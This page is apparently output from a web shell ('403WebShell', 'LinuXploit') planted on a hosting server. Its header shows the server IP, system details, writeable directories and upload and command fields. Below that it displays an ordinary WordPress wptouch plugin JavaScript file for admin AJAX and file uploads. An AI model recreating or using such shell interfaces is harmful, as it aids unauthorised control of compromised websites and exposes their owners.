Uname:Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64

Base Dir : /home/httpd/vhosts/comeonline.ch/httpdocs

User : onlineadmin


403WebShell
403Webshell
Server IP : 80.74.154.100  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64
User : onlineadmin ( 10487)
PHP Version : 8.5.7
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/wptouch/admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/wptouch/admin/js/wptouch-ajax.js
function wptouchSetupAjax() {
	jQuery.ajaxSetup ({
	    cache: false
	});
}

var wptouchTotalAjaxEnabled = 0;

function wptouchAdminAjaxEnableSpinner( enable ) {
	if ( enable ) {
		jQuery( '#admin-spinner' ).animate({
			opacity: 1
		}, 500 );
		wptouchTotalAjaxEnabled = wptouchTotalAjaxEnabled + 1;
	} else {
		wptouchTotalAjaxEnabled = wptouchTotalAjaxEnabled - 1;
	}

	if ( wptouchTotalAjaxEnabled == 0 ) {
		jQuery( '#admin-spinner' ).animate({
			opacity: 0
		}, 500 );
	}
}

function wptouchAdminAjax( actionName, actionParams, callback ) {
	var ajaxData = {
		action: 'wptouch_ajax',
		wptouch_action: actionName,
		wptouch_ajax_nonce: WPtouchAjax.admin_ajax_nonce
	};

	for ( name in actionParams ) { ajaxData[name] = actionParams[name]; }

	wptouchAdminAjaxEnableSpinner( true );

	jQuery.post( ajaxurl, ajaxData, function( result ) {
		wptouchAdminAjaxEnableSpinner( false );

		if ( typeof( callback ) !== 'undefined' ) {
			callback( result );
		};
	});
}

function wptouchAdminAjaxInstall( target, fileType, fileName, callback, errorCallback ) {
	window.requestFileSystem  = window.requestFileSystem || window.webkitRequestFileSystem;

	function doErrorCallback(e) {
		if ( typeof( errorCallback ) !== 'undefined' ) {
			errorCallback( target );
		}
	}

	jQuery( target ).text( WPtouchCustom.installing );

	var xhr = new XMLHttpRequest();
	xhr.open('GET', fileName, true);
	xhr.responseType = 'blob';

	xhr.onerror = function( e ) {
		doErrorCallback( e );
	}

	xhr.onload = function(e) {
		var blob = new Blob([xhr.response], {type: 'application/zip'});

		var data = new FormData();
		data.append( 'action', 'upload_file' );
		data.append( 'file_type', fileType );
		data.append( 'wp_nonce', WPtouchCustom.admin_nonce );
		data.append( fileType + '-upload', blob );

		newXhr = new XMLHttpRequest();
		newXhr.open( 'POST', ajaxurl );

		newXhr.onerror = function( e ) {
			doErrorCallback( e );
		}

		newXhr.onload = function( e ) {
			if ( typeof( callback ) !== 'undefined' ) {
				callback( target );
			} else {
				jQuery( target ).replaceWith( '<span class="installed">' + WPtouchCustom.installed + '</span>' );
			}
		}

		newXhr.send( data );
	};

	xhr.send();
}

jQuery( document ).ready( function() { wptouchSetupAjax(); } );

Youez - 2016 - github.com/yon3zu
LinuXploit